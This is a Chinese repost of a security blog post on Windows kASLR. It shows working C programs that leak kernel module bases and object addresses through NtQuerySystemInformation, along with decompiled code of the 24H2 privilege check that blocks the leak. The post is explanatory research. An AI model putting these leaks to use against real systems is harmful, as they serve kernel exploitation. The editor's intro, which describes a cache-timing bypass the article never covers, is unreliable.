kASLR 内部结构和演进

admin 2025年5月22日00:52:23评论1 views字数 19082阅读63分36秒阅读模式
kASLR 内部结构和演进

这篇文章由@r0keb

撰写,详细介绍了一种针对现代Windows 11版本的kASLR(内核地址空间布局随机化)绕过技术。文章聚焦于利用Intel CPU的缓存定时(Cache Timing)特性来提取Windows内核模块ntoskrnl.exe的基址。kASLR是一种安全机制,通过随机化内核模块的内存地址来增加攻击难度,而这篇文章描述了一种通过分析CPU缓存行为来推断内核地址的技术。内容较为技术化,涵盖了方法的原理、实现步骤以及技术细节,适合对操作系统安全和低级攻击技术感兴趣的读者。

早上好!今天的博客不会太长,但这并不意味着它不重要。

ASLR(地址空间布局随机化)可能是所有软件中实现的最古老的缓解措施之一。此缓解措施会将给定软件中的地址范围随机化,旨在消除攻击者可能利用来执行某些功能的静态地址。

正如预期的那样,Windows 内核也实现了这种缓解措施,kASLR并且随着每个新版本的发布而不断改进。

本博客结合了一些研究,旨在区分中等完整性进程Nt可用的函数代码,这些函数曾用于绕过 kASLR。我们还将探讨后续补丁及其实现方式。

kASLR(前24H2)

在版本之前24H2,可以Nt非常直接地从用户模式调用函数。最常用的可能是NtQuerySystemInformation,其表示如下:

__kernel_entry NTSTATUS NtQuerySystemInformation(  [in] SYSTEM_INFORMATION_CLASS SystemInformationClass,  [inout] PVOID SystemInformation,  [in] ULONG SystemInformationLength,  [out, optional] PULONG ReturnLength);

据微软称:

"[**NtQuerySystemInformation** may be altered or unavailable in future versions of Windows. Applications should use the alternate functions listed in this topic.]Retrieves the specified system information."

事实也确实如此——但我们不要操之过急。

NtQuerySystemInformation从字面上看,返回的是 KM 地址或数据 — — 您所要做的就是传递以下标志之一:

List of KASLR bypass techniques in Windows 10 kernel.1. ZwQuerySystemInformation/SystemModuleInformation2. ZwQuerySystemInformation/SystemModuleInformationEx3. ZwQuerySystemInformation/SystemProcessInformation4. ZwQuerySystemInformation/SystemExtendedProcessInformation5. ZwQuerySystemInformation/SystemSessionProcessInformation6. ZwQuerySystemInformation/SystemLocksInformation7. ZwQuerySystemInformation/SystemHandleInformation8. ZwQuerySystemInformation/SystemExtendedHandleInformation9. ZwQuerySystemInformation/SystemObjectInformation10. ZwQuerySystemInformation/SystemBigPoolInformation11. ZwQuerySystemInformation/SystemSessionBigPoolInformation12. ZwQueryInformationProcess/ProcessHandleTracing13. ZwQueryInformationProcess/ProcessWorkingSetWatch14. ZwQueryInformationProcess/ProcessWorkingSetWatchEx

标志值如下:

//0x4 bytes (sizeof)enum _SYSTEM_INFORMATION_CLASS{    SystemBasicInformation = 0,...    SystemModuleInformation = 11,...    SystemPagedPoolInformation = 14,    SystemNonPagedPoolInformation = 15,    SystemHandleInformation = 16,    SystemObjectInformation = 17,    SystemPageFileInformation = 18,...  SystemExtendedProcessInformation = 57,...    SystemEmulationBasicInformation = 62,    SystemEmulationProcessorInformation = 63,    SystemExtendedHandleInformation = 64,    SystemLostDelayedWriteInformation = 65,    SystemBigPoolInformation = 66,    SystemSessionPoolTagInformation = 67,    SystemSessionMappedViewInformation = 68,...    SystemModuleInformationEx = 77,...    MaxSystemInfoClass = 248};

这些是一些最重要的标志。您可以在flags中找到所有可用的标志。

要执行这个奇妙的功能,只需创建一个函数指针,获取NtQuerySystemInformationfrom的地址ntdll.dll,然后将其强制转换以供稍后执行即可。

由于这是一个半文档化的功能,某些结构可能在 MSDN 上不可用,因此我们必须在 GitHub 或互联网上寻找它们。

让我们看一个最基本、最常见的例子。在旧版本的 Windows 10 上(Windows 10 1507),我们将使用此函数检索基址ntoskrnl.exe。为此,我们需要SystemModuleInformation标志位(十进制值 11)和结构体PSYSTEM_MODULE_INFORMATION ,我们可以从这个很棒的GitHub 仓库获得它https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemModuleInformation/NtQuerySysInfo_SystemModuleInformation/NtQuerySysInfo_SystemModuleInformation.cpp

kASLR 内部结构和演进
我们将使用 WinDbg 验证地址ntoskrnl.exe:

1: kd> lm m ntBrowse full moduleliststart endmodulenamefffff800`b6a7d000 fffff800`b72cf000   nt (pdb symbols) c:symbolsntkrnlmp.pdbC68EE22FDCF6477895C54A862BE165671ntkrnlmp.pdb

事实上,在这种情况下地址将是0xfffff800b6a7d000。

代码如下:

#include<stdio.h>#include<windows.h>//// MODULE INFOMATION//#define MAXIMUM_FILENAME_LENGTH 255 //0x4 bytes (sizeof)enum _SYSTEM_INFORMATION_CLASS{    SystemModuleInformation = 11};//// MODULE INFORMATION STRUCTURES//typedefstructSYSTEM_MODULE {    ULONG Reserved1;    ULONG Reserved2;#ifdef _WIN64    ULONG Reserved3;#endif    PVOID ImageBaseAddress;    ULONG ImageSize;    ULONG Flags;    WORD Id;    WORD Rank;    WORD w018;    WORD NameOffset;    CHAR Name[MAXIMUM_FILENAME_LENGTH];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedefstructSYSTEM_MODULE_INFORMATION {    ULONG ModulesCount;    SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;//// FUNCTION POINTER//typedefNTSTATUS(*_NtQuerySystemInformation)(    _SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength    );intmain(){// cast the pointer to NtQuerySystemInformation inside ntdll.dll to NtQuerySystemInformation function pointer    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");if (NtQuerySystemInformation == nullptr) {printf("n[ERROR] Error getting the "NtQuerySystemInformation" function pointer: %dn", GetLastError());return-1;    }    NTSTATUS Status = 1;    ULONG ReturnLength = 0;    NtQuerySystemInformation(SystemModuleInformation, nullptr0, &ReturnLength);if (ReturnLength == 0) {printf("n[ERROR] Error getting the length to "SystemModuleInformation"n");return-1;    }    PSYSTEM_MODULE_INFORMATION SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    Status = NtQuerySystemInformation(SystemModuleInformation, SystemModuleInfo, ReturnLength, &ReturnLength);if (Status != 0) {printf("n[ERROR] Error calling "NtQuerySystemInformation" for module info: 0x%0.16Xn", Status);return-1;    }printf("n[kASLR Lab]:");printf("nt"SystemModuleInformation" flagntt");printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[0].Modules->Name, SystemModuleInfo[0].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[1].Modules->Name, SystemModuleInfo[1].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[2].Modules->Name, SystemModuleInfo[2].Modules->ImageBaseAddress);// SystemModuleInfo cleanup    VirtualFree(SystemModuleInfo, ReturnLength, MEM_RELEASE);    SystemModuleInfo = nullptr;    ReturnLength = 0;return0;}

如我们所见,我们首先调用 来获取要分配的结构体的大小。为此,我们将一个指针传递给ReturnLength,它将存储适当的大小,以便我们在堆上为SYSTEM_MODULE_INFORMATION结构体分配内存。这个调用模式包含两个函数,第一个函数获取大小,第二个函数填充数据结构体。

现在我们来看看代码的一个变体。我们将使用相同的函数请求更多内核模式数据。这次,我们将使用另外两个标志。

kASLR 内部结构和演进

如图所示,我们请求SystemModuleInformation、SystemExtendedProcessInformation和SystemExtendedHandleInformation。

代码如下:

#include<stdio.h>#include<windows.h>//// MODULE INFOMATION//#define MAXIMUM_FILENAME_LENGTH 255 //0x4 bytes (sizeof)enum _SYSTEM_INFORMATION_CLASS{    SystemModuleInformation = 11,    SystemExtendedProcessInformation = 57,    SystemExtendedHandleInformation = 64};//// MODULE INFORMATION STRUCTURES//typedefstructSYSTEM_MODULE {    ULONG Reserved1;    ULONG Reserved2;#ifdef _WIN64    ULONG Reserved3;#endif    PVOID ImageBaseAddress;    ULONG ImageSize;    ULONG Flags;    WORD Id;    WORD Rank;    WORD w018;    WORD NameOffset;    CHAR Name[MAXIMUM_FILENAME_LENGTH];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedefstructSYSTEM_MODULE_INFORMATION {    ULONG ModulesCount;    SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;//// EXTENDED PROCESS INFOMATION STRUCTURES//typedef LONG KPRIORITY;typedefstruct _CLIENT_ID {    DWORD UniqueProcess;    DWORD UniqueThread;} CLIENT_ID;typedefstruct _UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PWSTR Buffer;} UNICODE_STRING;//from http://boinc.berkeley.edu/android-boinc/boinc/lib/diagnostics_win.htypedefstruct _VM_COUNTERS {// the following was inferred by painful reverse engineering    SIZE_T PeakVirtualSize; // not actually    SIZE_T PageFaultCount;    SIZE_T PeakWorkingSetSize;    SIZE_T WorkingSetSize;    SIZE_T QuotaPeakPagedPoolUsage;    SIZE_T QuotaPagedPoolUsage;    SIZE_T QuotaPeakNonPagedPoolUsage;    SIZE_T QuotaNonPagedPoolUsage;    SIZE_T PagefileUsage;    SIZE_T PeakPagefileUsage;    SIZE_T VirtualSize; // not actually} VM_COUNTERS;typedefenum _KWAIT_REASON{    Executive = 0,    FreePage = 1,    PageIn = 2,    PoolAllocation = 3,    DelayExecution = 4,    Suspended = 5,    UserRequest = 6,    WrExecutive = 7,    WrFreePage = 8,    WrPageIn = 9,    WrPoolAllocation = 10,    WrDelayExecution = 11,    WrSuspended = 12,    WrUserRequest = 13,    WrEventPair = 14,    WrQueue = 15,    WrLpcReceive = 16,    WrLpcReply = 17,    WrVirtualMemory = 18,    WrPageOut = 19,    WrRendezvous = 20,    Spare2 = 21,    Spare3 = 22,    Spare4 = 23,    Spare5 = 24,    WrCalloutStack = 25,    WrKernel = 26,    WrResource = 27,    WrPushLock = 28,    WrMutex = 29,    WrQuantumEnd = 30,    WrDispatchInt = 31,    WrPreempted = 32,    WrYieldExecution = 33,    WrFastMutex = 34,    WrGuardedMutex = 35,    WrRundown = 36,    MaximumWaitReason = 37} KWAIT_REASON;typedefstruct _SYSTEM_THREAD_INFORMATION {    LARGE_INTEGER KernelTime;    LARGE_INTEGER UserTime;    LARGE_INTEGER CreateTime;    ULONG WaitTime;    PVOID StartAddress;    CLIENT_ID ClientId;    KPRIORITY Priority;    LONG BasePriority;    ULONG ContextSwitchCount;    ULONG ThreadState;    KWAIT_REASON WaitReason;#ifdef _WIN64    ULONG Reserved[4];#endif}SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_THREAD_INFORMATION{    SYSTEM_THREAD_INFORMATION ThreadInfo;    PVOID StackBase;    PVOID StackLimit;    PVOID Win32StartAddress;    PVOID TebAddress; /* This is only filled in on Vista and above */    ULONG Reserved1;    ULONG Reserved2;    ULONG Reserved3;} SYSTEM_EXTENDED_THREAD_INFORMATION, * PSYSTEM_EXTENDED_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_PROCESS_INFORMATION{    ULONG NextEntryOffset;    ULONG NumberOfThreads;    LARGE_INTEGER SpareLi1;    LARGE_INTEGER SpareLi2;    LARGE_INTEGER SpareLi3;    LARGE_INTEGER CreateTime;    LARGE_INTEGER UserTime;    LARGE_INTEGER KernelTime;    UNICODE_STRING ImageName;    KPRIORITY BasePriority;    ULONG ProcessId;    ULONG InheritedFromUniqueProcessId;    ULONG HandleCount;    ULONG SessionId;    PVOID PageDirectoryBase;    VM_COUNTERS VirtualMemoryCounters;    SIZE_T PrivatePageCount;    IO_COUNTERS IoCounters;    SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];} SYSTEM_EXTENDED_PROCESS_INFORMATION, * PSYSTEM_EXTENDED_PROCESS_INFORMATION;//// EXTENDED HANDLE INFOMATION STRUCTURES//typedefstruct _SYSTEM_HANDLE{    PVOID Object;    HANDLE UniqueProcessId;    HANDLE HandleValue;    ULONG GrantedAccess;    USHORT CreatorBackTraceIndex;    USHORT ObjectTypeIndex;    ULONG HandleAttributes;    ULONG Reserved;} SYSTEM_HANDLE, * PSYSTEM_HANDLE;typedefstruct _SYSTEM_HANDLE_INFORMATION_EX{    ULONG_PTR HandleCount;    ULONG_PTR Reserved;    SYSTEM_HANDLE Handles[1];} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;//// FUNCTION POINTER STRUCTURES//typedefNTSTATUS(*_NtQuerySystemInformation)(  _SYSTEM_INFORMATION_CLASS SystemInformationClass,  PVOID SystemInformation,  ULONG SystemInformationLength,  PULONG ReturnLength);intmain(){    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");if (NtQuerySystemInformation == nullptr) {printf("n[ERROR] Error getting the "NtQuerySystemInformation" function pointer: %dn", GetLastError());return-1;    }    NTSTATUS Status = 1;    ULONG ReturnLength = 0;    NtQuerySystemInformation(SystemModuleInformation, nullptr0, &ReturnLength);if (ReturnLength == 0) {printf("n[ERROR] Error getting the length to "SystemModuleInformation"n");return-1;    }    PSYSTEM_MODULE_INFORMATION SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    Status = NtQuerySystemInformation(SystemModuleInformation, SystemModuleInfo, ReturnLength, &ReturnLength);if (Status != 0) {printf("n[ERROR] Error calling "NtQuerySystemInformation" for module info: 0x%0.16Xn", Status);return-1;    }printf("n[kASLR Lab]:");printf("nt"SystemModuleInformation" flagntt");printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[0].Modules->Name, SystemModuleInfo[0].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[1].Modules->Name, SystemModuleInfo[1].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[2].Modules->Name, SystemModuleInfo[2].Modules->ImageBaseAddress);// SystemModuleInfo cleanup    VirtualFree(SystemModuleInfo, ReturnLength, MEM_RELEASE);    SystemModuleInfo = nullptr;    ReturnLength = 0;    NtQuerySystemInformation(SystemExtendedProcessInformation, nullptr0, &ReturnLength);if (ReturnLength == 0) {printf("n[ERROR] Error getting the length to "SystemExtendedProcessInformation"n");return-1;    }    PSYSTEM_EXTENDED_PROCESS_INFORMATION SysProcessInfoEx = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    Status = NtQuerySystemInformation(SystemExtendedProcessInformation, SysProcessInfoEx, ReturnLength, &ReturnLength);if (Status != 0) {printf("n[ERROR] Error calling "NtQuerySystemInformation" for process info Ex: 0x%0.16Xn", Status);return-1;    }printf("nt"SystemExtendedProcessInformation" flagntt");printf("[Main Thread StackBase] 0x%pntt", SysProcessInfoEx->Threads[0].StackBase);printf("[Main Thread StackLimit] 0x%pnntt", SysProcessInfoEx->Threads[0].StackLimit);// SysProcessInfoEx cleanup    VirtualFree(SysProcessInfoEx, ReturnLength, MEM_RELEASE);    SysProcessInfoEx = nullptr;    ReturnLength = 0;    PSYSTEM_HANDLE_INFORMATION_EX SysHandleInfoEx = nullptr;    Status = 1;    ReturnLength = 1;while (Status != 0) {if (SysHandleInfoEx != nullptr) {            VirtualFree(SysHandleInfoEx, ReturnLength, MEM_RELEASE);            SysHandleInfoEx = nullptr;        }        ReturnLength *= 2;        SysHandleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        ULONG length = 0;        Status = NtQuerySystemInformation(SystemExtendedHandleInformation, SysHandleInfoEx, ReturnLength, &length);    }printf("nt"SystemHandleInformation" flagntt");printf("[Handle Count] %dntt", SysHandleInfoEx->HandleCount);for (unsignedint i = 0; i < SysHandleInfoEx->HandleCount; i++) {if ((DWORD)SysHandleInfoEx->Handles[i].UniqueProcessId == GetProcessId(((HANDLE)-1))) {printf("[PROC ID] %dntt", SysHandleInfoEx->Handles[i].UniqueProcessId);printf("[Handle Value] 0x%pntt", SysHandleInfoEx->Handles[i].HandleValue);printf("[ObjectValue] 0x%pntt", SysHandleInfoEx->Handles[i].ObjectTypeIndex);printf("[Kernel Object (_KTHREAD...)] 0x%pntt", SysHandleInfoEx->Handles[i].Object);break;        }    }// SysHandleInfoEx cleanup    VirtualFree(SysHandleInfoEx, ReturnLength, MEM_RELEASE);    SysHandleInfoEx = nullptr;    ReturnLength = 0;return0;}

这段代码中需要重点强调的是,我们ReturnLength在请求时是如何获取的。这是因为前面提到的方法在这里失败了,所以我们会根据调用是否返回STATUS_SUCCESSSystemExtendedHandleInformation来不断分配更多的空间。如果没有返回,则循环重复。NtQuerySystemInformation

最终,这两个例子表明,确实可以从用户模式获取非常有价值的信息,这对于以后的利用很有用。

现在让我们看看这个功能实际上是如何工作的。

NtQuerySystemInformation 内部机制

以下是IDA中该函数的伪代码:

NTSTATUS __stdcall NtQuerySystemInformation(        SYSTEM_INFORMATION_CLASS SystemInformationClass,        PVOID SystemInformation,        ULONG SystemInformationLength,        PULONG ReturnLength){  __int16 *p_Group; // rdx  __int64 v7; // r8  NTSTATUS result; // eax  __int16 Group; // [rsp+40h] [rbp+8h] BYREFif ( SystemInformationClass >= SystemWow64SharedInformationObsolete    && SystemInformationClass < SystemProcessorIdleCycleTimeInformation    || SystemInformationClass < SystemProcessorPerformanceInformation )  {LABEL_3:    p_Group = 0;    v7 = 0;return ExpQuerySystemInformation(             SystemInformationClass,             p_Group,             v7,             SystemInformation,             SystemInformationLength,             ReturnLength);  }else  {switch ( SystemInformationClass )    {case SystemProcessorPerformanceInformation:case SystemInterruptInformation:case SystemPowerInformationNative:case SystemProcessorPowerInformation:case SystemProcessorIdleCycleTimeInformation:case SystemPrefetchPathInformation|SystemPathInformation:case SystemPrefetchPathInformation|SystemLocksInformation:case SystemStackTraceInformation|0x80:        v7 = 2;        Group = KeGetCurrentPrcb()->Group;        p_Group = &Group;return ExpQuerySystemInformation(                 SystemInformationClass,                 p_Group,                 v7,                 SystemInformation,                 SystemInformationLength,                 ReturnLength);case SystemLogicalProcessorInformation:        v7 = 2;        Group = 0;        p_Group = &Group;return ExpQuerySystemInformation(                 SystemInformationClass,                 p_Group,                 v7,                 SystemInformation,                 SystemInformationLength,                 ReturnLength);case MaxSystemInfoClass|SystemFlagsInformation:case SystemVerifierFaultsInformation|SystemDpcBehaviorInformation:        result = -1073741821;break;default:goto LABEL_3;    }  }return result;}

正如我们所见,它只是一个包装器ExpQuerySystemInformation,它是一个庞大的函数……

kASLR 内部结构和演进

由于函数的大小,我们重点关注示例11,它对应于SystemModuleInformation。

kASLR 内部结构和演进

如图所示,有一个对的调用ExIsRestrictedCaller(),如下所示:

_BOOL8 __fastcall ExIsRestrictedCaller(char a1){  BOOLEAN v1; // bl  _BOOL8 result; // raxstruct _SECURITY_SUBJECT_CONTEXTSubjectContext;// [rsp+50h] [rbp-28h] BYREF  NTSTATUS AccessStatus; // [rsp+80h] [rbp+8h] BYREF  ACCESS_MASK GrantedAccess; // [rsp+88h] [rbp+10h] BYREF  result = 0;if ( a1 )  {    SeCaptureSubjectContextEx(KeGetCurrentThread(), KeGetCurrentThread()->ApcState.Process, &SubjectContext);    v1 = SeAccessCheck(           SeMediumDaclSd,           &SubjectContext,0,0x20000u,0,0,           (PGENERIC_MAPPING)&ExpRestrictedGenericMapping,1,           &GrantedAccess,           &AccessStatus);    SeReleaseSubjectContext(&SubjectContext);if ( v1 != 1 || AccessStatus < 0 )return1;  }return result;}

该函数检查并将信息返回给ExpQuerySystemInformation,但在24H2发生了重大变化。

kASLR(帖子24H2)

现在我们来看看NtQuerySystemInformation之后的情况24H2。

为了测试这一点,我们将再次运行这两个程序。但剧透一下:它们都不会起作用。

kASLR 内部结构和演进
kASLR 内部结构和演进

果然,没有返回任何地址。这是为什么呢?

NtQuerySystemInformation 内部机制

首先,我们有NtQuerySystemInformation()如下版本1507:

NTSTATUS __fastcall NtQuerySystemInformation(int a1, _QWORD *a2, ULONG a3, ULONG *a4){  __int16 *p_PrimaryGroupThread; // rdx  ULONG *v6; // r11int v8; // r10dint v9; // r8d  __int16 PrimaryGroupThread; // [rsp+40h] [rbp+8h] BYREF  p_PrimaryGroupThread = 0;  v6 = a4;  PrimaryGroupThread = 0;  v8 = a1;switch ( a1 )  {case8:case23:case42:case61:case83:case100:case108:case141:      PrimaryGroupThread = KeQueryPrimaryGroupThread(KeGetCurrentThread());goto LABEL_5;case73:LABEL_5:      p_PrimaryGroupThread = &PrimaryGroupThread;      v9 = 2;return ExpQuerySystemInformation(v8, (__int64)p_PrimaryGroupThread, v9, a2, a3, v6);case107:case121:case180:case210:case211:case222:case231:case238:case239:case240:return0xC0000003;default:      v9 = 0;return ExpQuerySystemInformation(v8, (__int64)p_PrimaryGroupThread, v9, a2, a3, v6);  }}
到目前为止,没有什么新东西,同样调用ExpQuerySystemInformation。但是如果我们深入研究该函数:

kASLR 内部结构和演进

然后检查里面有什么……

__int64 __fastcall ExIsRestrictedCaller(KPROCESSOR_MODE a1, _DWORD *a2){unsignedint v2; // edi  BOOLEAN v5; // blstruct _SECURITY_SUBJECT_CONTEXTSubjectContext;// [rsp+50h] [rbp-28h] BYREF  NTSTATUS AccessStatus; // [rsp+80h] [rbp+8h] BYREF  ACCESS_MASK GrantedAccess; // [rsp+88h] [rbp+10h] BYREF  v2 = 0;  AccessStatus = 0;  GrantedAccess = 0;memset(&SubjectContext, 0sizeof(SubjectContext));if ( a2 )    *a2 = 0;if ( !a1 )return0;if ( a2 && (unsignedint)Feature_RestrictKernelAddressLeaks__private_IsEnabledDeviceUsageNoInline() )    *a2 = SeSinglePrivilegeCheck(SeDebugPrivilege, a1) == 0;  SeCaptureSubjectContext(&SubjectContext);  v5 = SeAccessCheck(         SeMediumDaclSd,         &SubjectContext,0,0x20000u,0,0,         (PGENERIC_MAPPING)&ExpRestrictedGenericMapping,1,         &GrantedAccess,         &AccessStatus);  SeReleaseSubjectContext(&SubjectContext);if ( !v5 )return1;  LOBYTE(v2) = AccessStatus < 0;return v2;}

我们看到使用 来检查a2SeSinglePrivilegeCheck是否被执行,从而验证了SeDebugPrivilege。我们也可以在 处设置断点来确认这一点, 也就是我们在执行之前nt!ExpQuerySystemInformation+0x770调用 的内存地址:ExIsRestrictedCaller   ExpQueryModuleInformation

kASLR 内部结构和演进
0: kd> bl0e Disable Clear fffff807`d9fb2ed0 0001 (0001) nt!ExpQuerySystemInformation+0x770

基本上,它会执行检查,如果SeDebugPrivilege启用,则NtQuerySystemInformation()运行不受限制。否则,执行会受到限制,如下行所示:

...if ( a2 && (unsignedint)Feature_RestrictKernelAddressLeaks__private_IsEnabledDeviceUsageNoInline() )    *a2 = SeSinglePrivilegeCheck(SeDebugPrivilege, a1) == 0;...

最终,调用此 API 来解析内核模式地址的选项不再可行,除非目标是管理员权限提升到内核权限,在这种情况下,它仍然适用。然而,既然我们不再依赖这一优势,问题仍然存在:如何绕过日益顽固的 kASLR?

本博客后续版本将解答这个问题。感谢您的阅读。

结束语

如前所述,这篇博文相对简短。它简要地介绍了最近的变化如何影响曾经常用的NtQuerySystemInformation()检索特权内核模式地址的方法。

早上好,如果我没见到你,那么祝你下午好、晚上好、晚安!

所有文章-点击阅读原文-可以直接跳转

原文始发于微信公众号(Ots安全):kASLR 内部结构和演进

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月22日00:52:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   kASLR 内部结构和演进http://cn-sec.com/archives/4091486.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息